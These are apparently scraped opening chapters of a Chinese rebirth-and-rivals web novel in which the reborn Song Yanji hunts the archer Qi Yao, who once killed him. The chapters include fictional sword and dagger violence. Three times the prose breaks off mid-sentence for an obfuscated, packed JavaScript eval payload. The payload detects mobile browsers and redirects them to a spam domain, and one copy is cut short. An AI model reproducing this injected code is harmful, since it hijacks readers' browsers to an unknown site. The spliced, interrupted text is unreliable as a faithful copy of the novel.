《宿敌白月光掉马后》 1. 世子 永宁二十二年,大寒,深夜三更时。 浓云蔽月,昏暗无光,夜色如倾倒的墨笼罩京城。本该是最寂静的时候,却响起一道突兀的叫喊。 “叶以玫往这边跑了!追!” 一连串急促的脚步声紧随其后,腰佩与刀剑相碰,锵锵响音起伏不断。 狱卒在身后紧追不舍,前方越狱出来的逃犯却丝毫不见慌张,步伐轻盈似箭,宛如一条快活的游鱼,于大街小巷之间来回穿梭。 双辫在脑后迎风飞舞,少女回头扫了眼逐渐拉近的距离,弯起唇角哼笑一声,侧身拐进事先约好的窄巷子里。 两边的商肆店门紧闭,狭窄路面分到的月光寥寥,比长街还要漆黑得多。 这样的环境最适合搞偷袭。 叶以玫仰起头,杏眼掠过黑暗中的某一点。 一切正按计划进行着:她以身为饵将狱卒引到这里,剩下的就交给祁谣。 云层渐散,残月高悬。 淡淡的月光泄下来,柔和了几分夜色,有两三缕融进一双同样浅淡的眼眸。 祁谣单膝曲于屋顶正脊,半边身子隐在檐角后,一袭黑袍从头到脚笼住整个身形,与夜幕合为一体。 她瞥了眼下方的叶以玫,开弓搭箭,微微调整准心位置,蓄势待发。 陆续追来的狱卒浑然不觉已经踏入了她的射击范围。 祁谣半眯起眼,手指抽离弓弦,三箭齐发。 箭矢携穿云之势撕空前突,掀起的气流吹落兜帽。 飘乱的发丝于额前左右飞扬,几缕妨碍视野,刚好挡住箭矢的落点。 祁谣随意将碎发拨到耳后,正要低头收弓,却听下方的声响格外清脆,面色一凝。 这声音不对劲! 不像是利箭刺入皮肉的声音,倒像是撞上了什么难以穿透的硬物,发出哀鸣。 祁谣心下一惊,抬手又是瞬发的三箭。 “铛——” 一道泛着寒光的剑影掠过,故技重施,速度极快地拦下那三支箭矢,剑与箭正面相迎摩擦,铿然一声宛若爆破。 又被截住了? 祁谣眉心一皱,俯身向下退了退,将整个身形都遮掩在檐角后。 事况发展脱离了自己的预测。 早在此番行动前,她就试探过这群狱卒的实力,也对自己的箭术有绝对的信心,料定他们反应不过来。 没成想半路会杀出个程咬金。 局势瞬间扭转,叶以玫陷入包围,祁谣也暴露了自身位置。 她悄无声息从屋顶撤下,弓箭也收了起来,隐匿在暗处伺机而动,只露出一对冷淡的眼眸向下审视着“程咬金”。 他恰好站在月光里,是今夜最亮、看得最清楚的人。 青年男子身量高挺,只穿了件单薄的暗色织银月纹圆领袍,裁制干练,勾勒出宽肩窄腰的身形如刀削般利落。腰系银铃玉佩,边上缀着一圈图样各异的银饰,叮铃作响,极为高调花哨。 他的发式也格外新奇,不是平日里见惯了的束发,也不同于寻常披发。一头乌亮长发打理得颇有层次,从锁骨处往上一层层递进修短,几缕发丝躁躁地往外翘。 在祁谣的视角里,额前的碎发正好挡住眉眼,只露出下半张脸。鼻梁高挺,薄唇微抿,颌骨瘦削分明。即便不见全貌,也能从优越的面部轮廓瞧出几分浓墨重彩的张扬来。 像是听到了祁谣的腹诽似的,那人自中间撩开额发,一双色若琥珀的桃花眸往上扫了眼方才箭来的方向——那里空无一人。 他悠悠收回视线,重新转向眼前被包围成圈的逃犯,明显是插翅难飞了。 “多谢大人出手相助!“先前被救下的狱卒抱拳道,“若无其他要事,下官就将犯人押送回狱了。待到明晨,大人可前往衙门领取见义勇为奖赏。” 祁谣一听,心里紧张起来。 叶以玫若是被抓回去,再想逃出来可就难了。 “且慢。”那人不紧不慢开口,转剑指向叶以玫,“这个人,你们不能带走。” 正欲搭箭的手一顿,祁谣面露讶异,暂时停下动作,静观下面的变化。 难道这家伙不是官府那一派的?他也不是什么好人? 此番话一出,狱卒们纷纷变了脸色,表情凝重起来,手按在腰间佩剑上,警惕地望着他。 视线焦点的人眼都没抬,拿出一块随身令牌,抛到领头狱卒的手心里。 领头的定睛一看,令牌雕琢精细,一看就是出自名贵之家,上面赫然写着四个大字——定北侯府。 他吓得手一抖,又慌慌张张把令牌接住,郑重看了好几眼,才恭敬递回。 “定北侯府,宋厌疾。”青年随意收起令牌,右手仍紧握着剑,集中注意力提防着暗处的动静。 上辈子互捅刀剑明争暗斗了八年,他可太了解祁谣作风了,熟悉程度说是知己都不为过。 今夜想接应叶以玫却被自己搅了局,祁谣这会儿应该在哪暗戳戳藏着找机会暗算他呢。 “原来是定北侯世子,失敬失敬。”领头的讪笑,不自觉把背挺得更直了些,“只是......此人乃被捕越狱的逃犯,身负罪孽,就这样放走贻害无穷啊......“ “谁说要放人了?” 执剑的手腕翻转,剑尖一抬,直指方才箭矢袭来的方向。 “诸位想必还记得令你们险些丧命的那六支箭。叶以玫分明有同伙在暗处出手接应。就连这次越狱也是早有谋划,特意将人引到同伙的埋伏圈里。” “在狱期间,谁给她传话的逃跑路线?” “又是谁制造出一个缺口,刚好容她出逃,其他罪犯却一个都没逃出去?” 锐利的眼神一一略过狱卒中的每个人,宋厌疾讥笑道:“你们当中摆明了有内鬼。” “同伙没抓住,内鬼也没揪出来,把人关押回去有什么用?再给她逃一次?” “这......”领头的脸上露出难堪的神色。 “牢狱内鬼事关重大,回去好好盘查。在揪出内鬼之前,叶以玫就由定北侯府代为监禁,我会借机揪出她的同伙。” 领头的家伙颤巍巍抬头,和身侧同僚交换眼神,小心翼翼地开口:“这怕是......不合规矩。” 宋厌疾冷哼一声:“不必忧心,此事我会禀告陛下。若有人问起只管如实答复便是,定北侯府承担全责。” 听到这句话,他们才松一口气,灰溜溜离开。 到时候只管把责任推给定北侯府就好,反正他们上司也不敢找定北侯府的茬。 见他们退回,宋厌疾又转眸望向已经被铐得老老实实的叶以玫,抬剑横在颈侧,剑刃紧贴肌肤,向内轻压划出一道鲜红刺目的血线。 “她在哪?” 这个“她”指的是谁,在场的人都心知肚明。 叶以玫翻了个白眼,没理他。 宋厌疾挑眉不恼,对这个反应毫不意外。以叶以玫对祁谣的忠心,死到临头也不会把她供出来的。 同理,叶以玫的生死就在他一念之间,祁谣也不敢贸然出手。 以祁谣的脑子,应该拎得清,如果敢动手,他会先一步杀死叶以玫。 从筹码上看,他才是在博弈中占据主导地位的那个。 想到这里,宋厌疾嘴角难抑,心情愉悦,一双琥珀色的眼瞳在暗夜里幽幽地盯着叶以玫,压低声音道:“你不愿说,我也有的是手段钓出祁谣。” 他刻意咬重了人名,语调里有几分偏执的意味。 叶以玫倏地抬头看向他,瞳孔骤缩,极为惊诧。 她的表情藏不住事,轻而易举就被看穿了心中所想。宋厌疾弯眸道:“是不是很惊讶?我怎么会知道她的名字?” 他自顾自接下去,腰间叮铃作响:“我和她也有过命的交情。” 只不过叶以玫与祁谣的过命交情是共度生死愿舍命相护。而他和祁谣之间要直率得多,正如字面意思——祁谣取过他的命。 甚至他只要一闭上眼就能回想起具体的情景。祁谣跪在他腰侧,死死掐紧脖子,霸占了他瞑目前的全部视野。 一直到心跳皈依死寂,他都竭力瞪大眼睛,视线凝成实质,恍若刻刀,一笔又一笔用力刻印宿敌的轮廓。 她脸上的、身上的每一个细节——他都不会放过。 重来一世,宋厌疾依然记得清清楚楚。 他的笑意不知不觉变得森寒:“不止名字,她的长相我也清楚。五官看起来很清冷,眼型不上挑也不下垂,瞳色比黑眼珠浅。” “鬓前有颗痣,总被头发挡着,脸上还有酒窝,对不对?”宋厌疾伸手比划起来,“身量大概到我这里。箭术不错,衣袖里藏一把随身匕首,出手阴险。” 从名字到形貌还有习惯通通锁定了她。 寒意沿着脊椎一路向上攀升,额头沁出冷汗。祁谣下意识朝身后看去,仿佛暗影里藏了双眼睛,正阴森森地监视自己的一举一动。 然而那里什么也没有。 头皮因无名的恐惧一胀一缩。她深呼吸一口气。 冷静。冷静下来。 宋厌疾对她的了解远远超出意料。若非祁谣不信世上有鬼神,她简直要疑心宋厌疾是不是早就躲在她的影子里日日夜夜窥伺着。 哪怕在以往的行动中,祁谣都未曾在明面上现过身。即便官府察觉到叶以玫有同伙,也无从查探这位同伙姓甚名谁,是何模样。 宋厌疾不过回京几日,就已经锁定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749882|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她,了如指掌。 祁谣垂眼,长睫投下一层阴翳,默默记下宋厌疾的脸,在脑海中拎出来和最近见过的人挨个比对。 他的五官生得俊秀利落,发式也是京城独一份的前卫,任谁见了都很难不印象深刻。 然而搜索一圈无果。 祁谣可以肯定,自宋厌疾回京以来,今晚才是他们的第一次碰面。 难道身边早有他安插的眼线? 可她一向低调谨慎,即使在身边人面前,也扮演着普通营生良民的角色,知道自己擅箭术且随身携带匕首的不过两人。 除了叶以玫,就只有秦止雪。 这个猜测在脑内升起一瞬就被否决了。 她和叶以玫是在永宁二十年捡的秦止雪,距今已经过去了两年。 而宋厌疾早在永宁十八年就离开京城戍边历练了。 况且,秦止雪还不是京城人。 不论是从时间线还是地理位置上来看,他和宋厌疾都完美地错开了,找不到任何产生交集的可能。 思路戛然断开,祁谣揉了揉太阳穴,暂且将这个问题先搁置一边,眼下最紧要的事情还是救出叶以玫。 她不擅近战,那点水平日常行动够用,但要和宋厌疾这种将门侯府自小培养的世子相比就完全不够看了。 偷袭不成,光明正大抢人也抢不过,只能想办法从定北侯府下手了。 那么大一个府邸,宋厌疾总不能每时每刻都亲自盯着叶以玫,她还是有机会捞人的。 他们,来日方长。 祁谣压低兜帽,默然无声离去。 * 白玉楼明面上是家茶肆,实则是祁谣精挑细选置办的据点。 此处近郊,不比闹市繁忙,生意不温不火,收入正好添补日用,却不至于忙得脚不沾地。 三更时分,茶肆早就打烊了,大门紧闭。 祁谣轻车熟路地从窗户翻了进来。 她着地只发出了一点轻微的动静,一旁靠在墙上小憩的少年仍然有所反应,缓缓睁开了眼睛。 秦止雪一头柔顺短发,长度只及肩膀,仍要固执地绑起马尾,靠墙睡觉也不嫌后脑勺硌得慌。 他转了转漆黑的眼眸,在祁谣的脸上短暂停留后又往她的身后探去。 那里没有另一个伙伴,只是空荡荡的浅棕色墙壁。 “咦?”秦止雪歪过头左看看右看看,睁大了眼,“叶以玫不和你一起回来吗?” 一提到这儿,祁谣又想起那个鬼一样的家伙,面色不善道:“今天很倒霉,半路杀出个宋厌疾,把叶以玫带走了。” “宋厌疾......?”秦止雪琢磨着这个名字,“谁啊?我没听说过这人,很厉害吗?” “定北侯世子,十六岁的时候被送到军营历练,几日前才回的京城。”祁谣边回答边脱下兜帽,放置到一边。 她的瞳色较浅,眼睛不如秦止雪圆溜,反而像一弯柳叶,看过来的时候总是让人觉得淡漠。 “喔......你们之前认识吗?你连他几岁去的军营都知道。”秦止雪偷偷瞟了她一眼,“硬闯定北侯府可比劫狱难多了,不如你直接去求情?” 他自以为很有道理,振振有词起来:“看在你俩往日交情的份上,能不能高抬贵手,放了叶以玫?” “鬼才和他有交情。”祁谣只当他又在胡言乱语,扯了扯嘴角,神色嫌弃,“还有,平日空闲时多读书少看话本。要身手有食量,要头脑也只有食量的饭桶会被白玉楼裁员踢出去的。” 说罢,她没理会秦止雪“我只是在长身体!”的哀嚎,卸下背上的弓箭,从箱柜暗格里翻出一张地图来。 那是整个京城的布局图,定北侯府位于京城的西北端,地图再往上看便是皇城。 府邸的位置离皇城很近,宣告着定北侯府的显贵地位。 祁谣思忖片刻。 “你最近多留意定北侯府,有什么动静告诉我。” 秦止雪虽然头脑迟钝了点,记性却极佳,再加上天生的敏锐听力,是个窃听的好手,理所当然地被分派了搜集情报的工作。 两年前,祁谣和叶以玫正是看中了这一点,才把他从家破人亡的境地捡回来。 秦止雪两手拍脸,嘴巴张大得夸张:“你你你......你难道要去定北侯府捞人???” 祁谣曲指弹他额头,不答反问:“不然指望叶以玫横扫定北侯府,自己蹦蹦跳跳出来吗?” 况且,除去叶以玫的因素外,宋厌疾本身也是个很大的威胁。 这趟定北侯府,不仅是为了叶以玫去,也是为了她自己。 祁谣必须弄清楚,宋厌疾对她从何而知,最好能直接铲除了宋厌疾这个威胁。 2. 重生前 * 滚烫、炽热。 皇宫走水,火势汹涌堂堂而来,由内向外大肆铺开,焰火携着翻卷的浓烟隐天蔽日,滚滚融进无边天际。 宋厌疾接到急诏快马加鞭赶来,看到的就是这样一幕。 呛人的气味扑进鼻腔,灼热的空气烤得双颊发烫。 宫中侍卫无一例外齐聚于中央政事殿,来回打水忙得脚不沾地。那儿是大火的源头,也是皇帝如今所在。 他来得迟了,火光划出界线分割内外,宋厌疾被困在宫墙外围。他倒是有忠勇之心冲进去救陛下,但—— 视线下移,落在一双纤纤玉臂上。 祁谣显然不打算给这个机会。 他能清楚感受到身上的人是如何指端用力挤压他的皮肤和血管,死死掐住脖子。 宋厌疾扼住祁谣的手腕,负隅顽抗。覆在喉结上的柔嫩掌心被推回一分,他争分夺秒地大口喘气,声线沙哑,时断时续。 “哈......卿卿......再用点力,这种程度弄不死我......” 祁谣正跨坐在腰腹上掐他脖子,居高临下地审视着身下八年纠缠不死不休的宿敌:面色因失血过多而苍白,两腿被钉入毒针麻痹行动,完完全全被她压制,如同案板上待宰的鱼。 狼狈至此也要见缝插针挑衅几句,死到临头更是嘴欠喊“卿卿”恶心她。 “我没打算把你掐断气。”祁谣低头看着他,语气难得轻快,“只是想居高临下看看宋世子垂死挣扎的样子。” 话音落下的同时,匕首“噗呲”一声刺进他的小臂,剧烈的痛随着刀尖扎入皮肉在天灵盖炸开。 宋厌疾刚想讥讽回去的劲儿也被这骤然攀升的痛感逼回喉咙里,一时间只顾得倒吸冷气,一个字眼都吐不出来。 祁谣歪了歪头,慢悠悠地抽出匕首,又补了几下。 刀刀见骨,鲜血飞溅,藕断丝连地为他们擦上同一抹色彩,和做标记似的。 赤红醒目的血色将宋厌疾本就苍白的面庞衬得毫无生气,如同一具白骨。 而祁谣握住匕首,刃尖抵住他的下巴,很是轻浮地往上挑:“顶着这么好看的脸蛋却是去见阎王,就连我都替世子感到可惜。” 宋厌疾丝毫没被惹恼,反而弯起眼眸笑出声,只是脸上的血污让笑意看起来有些骇人:“你要是也喜欢这张脸,不如下来陪我,我们天天见。” 祁谣收紧力道,刀尖向下紧逼:“比起阴魂不散的脸蛋,我更喜欢看你的骨灰。” “去死之前还有什么遗言么?” 宋厌疾眯起眼睛,琥珀色的眼瞳死死盯住她,断断续续地笑起来,配上这副沙哑的声线,听起来比怨鬼还要阴森。 “我爱上你了,快下来陪我。” “噗呲——” 祁谣面无表情,手执匕首干脆利落地刺进他的左胸,还嫌不够泄愤似的,又重复一遍动作。 宋厌疾到死都不肯瞑目,眼眶僵硬,直勾勾凝视着她。 感官仿佛都被抽离,痛觉距离他越来越远。 不断靠近死亡的时候,宋厌疾反而惬意起来,回味祁谣最后的举动,有一种绝地反击的快感。 一句诅咒的话都没来得及说,下手这么着急,看来把她膈应得不轻。 不过他心里顺畅多了。 汨汨鲜血不断从胸口淌出,将刃尖渲染得更加红艳,血气弥漫开来,融进凝重的夜色里。 * 宋厌疾猛然睁眼从床榻上坐起,心口一抽,下意识低头望去。 那里的衣料干净完整,没有血淋淋的窟窿。掌心触及左胸,肌肤平滑,也没有任何疤痕。 心境这才落定下来,他阖上眼,微仰起头,胸腔随着深呼吸的动作规律起伏。熹微晨光经过他,在墙面投出侧影,轮廓勾线自鼻梁向下滑到腰际,凹凸有致,曲折有度。 又梦到了她。 距离重生回二十岁这年已经过了三天,上辈子的死状还是阴魂不散地缠着自己。 拜祁谣所赐的、挥之不去的梦魇。 阎王爷给他一次重返人间的机会,节点却选在了二十岁这年。 若能再往前回溯四年,他还有机会拼尽全力逆转那一人的生死命。 “......” 十五六岁的宋厌疾每日都有很多盼头:今日去学宫会不会碰见她?同窗又在讨论什么关于她的消息?她看到我写的信了吗?她愿意给我回信吗?......她还记得我吗? 而二十岁的宋厌疾不再如此殷切期望下一天的到来,周围的一切都可有可无,茫然一片。什么都不重要。 即便重来一遭,也不过是多了一条恨意,勉强支撑着他去准备下一天。杀身之仇时时刻刻无不催促着他报复祁谣——要叫她痛不欲生,求死不能。 濒死的滋味、他挣扎过的所有,祁谣都该尝尝。 现如今,他的报复已经开了一个好头。 他起身更衣,将日日佩戴的那只月牙耳坠拭净擦亮,简单收拾一番推开门。 立于屋门左侧的下属等候已久,禀报道:“照世子吩咐,消息递出去了,叶以玫也已经被关押在南房。” 宋厌疾颔首:“搜过身了么?” 下属如实作答:“搜出了暗器,是几枚袖箭和毒针。” 他将搜出来的物件恭敬呈上。 宋厌疾接过,拈着转圈仔细打量。 做工小巧,带在身上很隐蔽,容易打人一个措手不及。 倒是符合祁谣一贯的作风。 他先收着备用,指不定哪天能派上用场。 重生前的这个时候,宋厌疾初回京城,还未受命调查,错过了在祁谣势力未成形时就一举剿灭的大好时机。 如今身为左膀右臂的叶以玫落到他手里,祁谣一定会想方设法把人捞出来。 他只要布下陷阱,守株待兔就好。 * 白玉楼内,二楼最里侧的雅间被祁谣空出来议事。 秦止雪忙完午时的活计,正趁着暂无来客的空当偷闲。 桌上的一盘板栗酥被吃完了大半,这是祁谣上次买回来的最后存货了。 今晚便是定北侯府为世子办的洗尘宴,依祁谣的吩咐,他这几天到处搜罗相关情报。 “你猜我打听到了什么?绝对惊呆你!”秦止雪故作神秘地眨眨眼。 祁谣坐在他对面,本来正靠着胳膊打瞌睡,听到这番话艰难地睁开眼,浅色的眼瞳还未聚焦,显出几分难得的茫然。 “直接说,别卖关子。” 秦止雪哼一声:“定北侯府的洗尘宴排场可大了,不止是丞相崔玉这些大人物要来,宋厌疾还下令敞开侯府大门,哪怕是路过的平民也能进去分一杯羹。” “没人拦?” 秦止雪竖起食指左右摇摆。 “没有。世子亲口承诺,欢迎全京城的人做客,不限门第。”他补充一句,“这事儿在百姓里传得沸沸扬扬,大伙儿都在夸世子大度呢。” “哦。”祁谣打了个哈欠,不紧不慢道,“那就是进去容易出来难了。” 她撑着脸颊,略微歪头,姿态有些慵懒地看向对面的少年:“他想请君入瓮呢,你不会真以为是宋厌疾大度吧?” 拦截叶以玫的那个晚上,宋厌疾的意图明显是冲着自己来的。祁谣虽不知他对自己的了解从何而来,眼下的洗尘宴却摆明了是钓她的饵。 她还不得不上钩。 “总之,这次行动我一人即可,你留在这儿帮常仲允打杂,或者去你师父那儿都可以。” “只身一人怎么行?!别说救叶以玫了,你自己能安然无恙地出来吗?”秦止雪愕然,“反正不限来者身份,要不带上我吧?傻子克高手,说不定能发挥什么意外的作用。” 祁谣扑哧一声被逗笑了,摆摆手。 “目前来看,你在战斗方面的天赋有待挖掘。真有什么危险,我不一定顾得上你。” 又是意料之中的拒绝。 秦止雪低下头,视线落在桌面上,撇了撇嘴表示不满:“所以你和叶以玫每次行动都不带我。” “现在叶以玫情况危急,你要一个人去救她,也很艰难。我还是什么都帮不上你们。” 这点年纪的人往往心事都写在脸上,很好读懂。祁谣注意到他的情绪变化,微微压眉抿唇。 实话实说她不擅长安慰别人,秦止雪平常又一副乐天派的样子,总是嬉皮笑脸的人沮丧起来更是难度加倍,叫人无从下手。 她思索片刻,目光落在了桌面仅剩的半盘板栗酥上。指尖抵着边沿,缓缓地向前推。 “多吃点你爱吃的,会让心情变好一点,还能再长长身体。” 祁谣贴心地倒了盏茶水,一并向前递。 “还可以多喝热水。” 秦止雪:“......” 他耷拉着眼:“做这些又没用......你和叶以玫对我来说就是亲人,我不想再体会一遍——” 话音顿住,祁谣注意到他刚拿起板栗酥的手开始发抖,开口安抚:“好了好了,你放心吧,我不会折在定北侯府的。” “洗尘宴上那么多有头有脸的大人物,宋厌疾只要别是突然发疯,不会在大庭广众之下对我出手的。”她分析事实,也许这样能让秦止雪宽心些,“好歹是名门正道出身,要是无凭无据指控罪名,定北侯府可要颜面扫地了。” 秦止雪一直绷着的嘴角这才舒展了些,但仍有顾虑。 “可你之前说宋厌疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“欸?天上掉人了?” 话音里难掩调侃,分明是看见了刚才这一幕。 直接跑反而显得做贼心虚,祁谣顿住脚步,镇定回眸,谨慎地打量一眼来人。 那人身量不高,装束从上到下飘逸似白雪,一双狐狸眼生得细窄,眼尾上挑,左眼角下方三颗痣弯成一个弧度,看谁都一派眯眯眼笑吟吟的模样。 “嗯......顺眼顺眼。”对面的人也在打量她,视线明晃晃在脸上停留了好一会儿,“不过——在屋顶上鬼鬼祟祟的是要做什么?” 祁谣淡定回答:“街上人又多又挤,身上有点本事,自然要换条路走了。” 白衣人点点头,似乎很认同她的说法。 他仰头扫了眼祁谣方才的位置,又问:“你也去定北侯府?” 这就看出来了? 眼前这人脑子还转挺快,不好糊弄。 她不答反问:“非亲非故却要试探我行踪,陌生人,这有些失礼吧?” 祁谣刻意咬重了“陌生人”三个字。 “唉呀,敌意不要这么大嘛,一见如故听说过没?你长得有点像我恩师,所以我一见到你就觉得特别亲切。”白衣人仍笑着,“我也去定北侯府,顺路一起?” 一听就是瞎扯出来的借口。 祁谣果断拒绝,对面的人反而不依不挠起来:“我熟悉这里,跟着我抄近道很快就能到,不用挤人堆。” 熟悉?那就更不能一起走了。 鬼知道他和定北侯府有没有交情,要是直接把自己带到宋厌疾脸上,她还怎么行动。 祁谣警惕地往后挪了一步,拉开他们之间的距离,就差把“不信任”三个大字写在脸上了。 “哎,我没有恶意,只是想路上有个伴儿聊聊天而已。”白衣人状似不经意瞥了眼她的袖口,“你要是真不信我,大可以对我用你身上藏的那点小武器,保准一击即中,我就躺地上死不瞑目地盯着你。” 祁谣眉眼一凛。 暗器也被他发现了?看来眼前这家伙比她预想的还要棘手,保不准是什么扮猪吃老虎装疯卖傻的狠角色。 她没说话,只是注视着眼前的人,藏在垂袖里的手已经搭上了袖箭,权衡要不要动手。 白衣人饶有兴致地望着她,等了半天,也没见动作,笑意更深了些。 他自认为洞察人心的本事不错,这一次,又叫他看对眼了。 “知道我带着索命工具还直接点出来,你是真不怕死。”祁谣挑眉,右手却是收了回去。 “横竖你这东西又不是特地为我准备的。比起我,它有更合适的选择。”白衣人无所谓地耸了耸肩,“你要对谁下手我都不关心。” 他勾起嘴角,目光灼灼:“哪怕是定北侯府的人。” 好敏锐的洞察,好精准的判断。 祁谣眸中掠过惊艳之色,不再与他来回试探,开门见山问道:“你是谁?” 白衣人哼笑一声:“到侯府门口你就知道了。” 他故意将话说得唬人,卖了个关子。 “请带路吧。” 3. 定北侯府 祁谣跟着他抄近道,一路省了许多功夫,眼看就要抵达目的地,白衣人先前意有所指的话语在脑海里重复一遍又一遍,引得她再度怀疑起来。 “你真不是定北侯府的人?” 白衣人神情不变,笑眯眯回头看她:“那我问你,谁会教一个满身暗器疑似刺客的危险人物抄近路去自己家?” 心头疑虑消下几分,祁谣正要接着问点什么,却被白衣人开口打断:“前面左转,走出这个巷子就到定北侯府了。” 她默默收回方才未能问出口的话语,横竖不过走出这个巷子就知道了。 定北侯府大门直直敞露,门庭若市,布衣与华服难得没有被分割开,此刻一律平等地列在门前陆续入府。 祁谣转过头,一眨不眨地凝视着身旁白衣人。她虽然什么也没说,但视线里的催促意味分外明显。 白衣人悠悠道:“别着急,马上就有很多人告诉你了。” 话音刚落,周围似乎有人交头接耳说了什么话,她没听清。但以她和白衣人为中心,所有人的视线都不约而同地凝聚到一处。 许多道四面八方来的目光正上下打量自己,还有更多的落在白衣人身上。 祁谣面上还是维持住了淡定,余光却全然放在他们毕恭毕敬的表情上。 这个反应,看来是位大人物了。不会真是定北侯府的人吧?今日着急出门没看黄历的下场就是倒霉成这样吗? 祁谣已经开始脑内模拟撤退路线了,却听见右手边两道刻意压低的声音议论纷纷。 “崔大人真来了,这是要与定北侯府交好的意思了?” “可崔大人一直以来不都是中立派吗?从来没听说过他除了事务往来以外,还和别人有什么交际。” “人都是会变的嘛。哎?边上那位是谁啊,以前怎么没见过?” 祁谣面色一僵,抬手将两侧的碎发往前拨,多多少少能遮挡些眉眼。 她本就不想引人注目,谁知道边上这人竟害得自己出场这么高调。 祁谣深呼吸一口气,强行按下自己想要即刻肘击的冲动。 不能打不能打,她可不想招惹边上这位风头正盛的新上任丞相。 方才从周围人群的交谈声中频繁听到“崔大人”的字眼时,祁谣就反应过来了他的身份。 如今全京城的“崔大人“”就只有那一位——新上任的丞相,崔玉。 自己竟是碰上了他。得找个机会抽身离开,越快越好。 崔玉的风头太大,再这么耗下去,只怕是刚踏过侯府门槛,就要和宋厌疾碰面了。 宋厌疾清楚她模样,被认出来就麻烦了。 崔玉像是看穿了她心中所想一般,竟主动与她拉开距离,低声笑着说:“好了,你去忙你的正事吧,我们回头见。” 这番话正合她心意。 祁谣加快步伐,前进的方向逐渐偏离。她对定北侯府并不熟悉,只是看哪儿人少就往哪儿走。 穿过又一座月洞门,是一块偏僻的庭院,四周有假山掩着,除了她再没一个人影。 祁谣这才放慢脚步,好奇地转悠几圈。 庭院里竟只有方才的月洞门一个出入口,剩下的三面都是墙,想必是位于整座侯府的边角位置。此地清静无人打扰,正好可以让她沉下心来捋捋思绪。 叶以玫不知道被关哪儿去了。 祁谣推测,应该不会离洗尘宴的地点太近。毕竟人一多就鱼龙混杂,给看守增加难度。 要不先出去打听打听?叶以玫的通缉令飘了这么多年,某种意义上说,也算是京城的“风云人物”了。眼下被捕却没押送至牢狱,反而扣在了定北侯府。这么多的宾客,总有几个嘴碎的好奇谈论吧。 夜晚才刚刚开始,祁谣不着急行动,先潜伏着打探情况。 * 厅堂中央,洗尘宴的主角迟迟未现。 “宋世子还没到吗?” “这斗松醪春就献给世子作贺礼了,劳请管事大人代为转收。” 定北侯常年戍边在外,府中事务一律交由这位老管事打理。 他本以为自家世子这次回京城是要接揽府中事务了,没成想还是和以前一个样,拍拍衣摆就走人了,会客的事悉数落到自己头上。 管事忙活好一阵儿才抽出点空隙,招呼来一旁的丫鬟:“再多叫几个人,出去找世子,务必要把人请回来,有些贵客他得亲自会面。” “世子方才回来过一趟,提了把剑又走了,说是有个稀客要亲自接待。” “还提上剑了?!”管事眉心一跳,“这位稀客是谁啊?” 与此同时,侯府里远离厅堂的一处屋脊上,话题的中心人物正孤身一人,抱剑而立。 在下面转悠总是被自家侍卫追着跑,宋厌疾好不容易甩掉人,干脆凌空一跃而上。屋脊的视野更广阔,还不用担心身后一声声此起彼伏的“世子”把他想找的人吓跑。 风声不断,靛青色的衣摆随之飘逸,暗纹里织了银丝线,在月辉下反着凛冽寒光。 宋厌疾的发型还是西北边城里流行的款式——以锁骨为界,其上的发丝分层明显,看着卷翘,其下柔顺垂直。 额前碎发呈中分往两边散开,毫无遮挡地露出下方琥珀般的眼眸,在夜色里透亮。那双引人流连的桃花眼里映着一道同样吸睛的身影。 宋厌疾冷笑。 只靠这一个身形,把脸蒙上他也能辨认出这人是谁。 反正祁谣的一举一动都在他眼皮子底下,宋厌疾不着急拔剑,有些意外地扫了眼她的今日装束,自顾自点评起来。 她还会穿这般颜色明亮的衣裙? 浅色衣衫烘托得整个人都柔和了许多,要不是宋厌疾深知她底细,还真要以为是名门世家里的哪位千金闺秀了。 宋厌疾回忆起上辈子,每次见祁谣都是一身黑灰,神秘而危险,看着一点儿人情味都没有,像影子里爬出来的恶鬼。 倒是第一次见她这般少女模样。 不过好奇归好奇,他一刻也没忘过自己要办的正事。 宋厌疾挑起嘴角,眼眸紧锁着那一道身影。洗尘宴早就开始了,来客都聚集在厅堂里,此处僻静无人,是他下手的好时机。 长剑无声出鞘,月光为它镀上一层冰寒。宋厌疾提剑跃下,剑尖直指后颈。 祁谣虽是背对着他,反应却比预料中快得多。 随身携带的那把匕首本就攥在手心里,她一听衣角翻飞声,心下便了然这是按捺不住要动手了,猛地握住刀柄,右臂抬起,一个转身,刀尖对转指向来人。 长剑对短刀,暂时僵持着。 宋厌疾紧紧盯着她的眼睛,轻笑一声,语气再肯定不过:“你早就发现我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749884|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 祁谣也冷笑着看他:“你左耳戴的那只月牙耳坠都要闪瞎我了,下次想偷袭别人至少换身低调的行头吧。” 一身银饰从上到下反光得此起彼伏,再搭上这张脸,活脱脱像只艳鬼。 宋厌疾微微睁大眼睛。 他还以为是祁谣感官敏锐过人呢,没成想竟是自己的疏忽。 “无妨无妨,这一剑,你还是接不住。” 宋厌疾施加力道,长剑再次斩风而来,灵巧地挑开匕首,直接掀到地上。 剑刃携破风之势还在向前,剑尖直朝脖颈处的致命点而来。 先前的那把匕首正不甘地躺在地上,祁谣即便空手,也不得不硬着头皮截住剑刃,不允它再前进一分。 手心溢出的血源源不断地从指缝间挤出来,蜿蜒地爬上剑身,染得片片赤色。 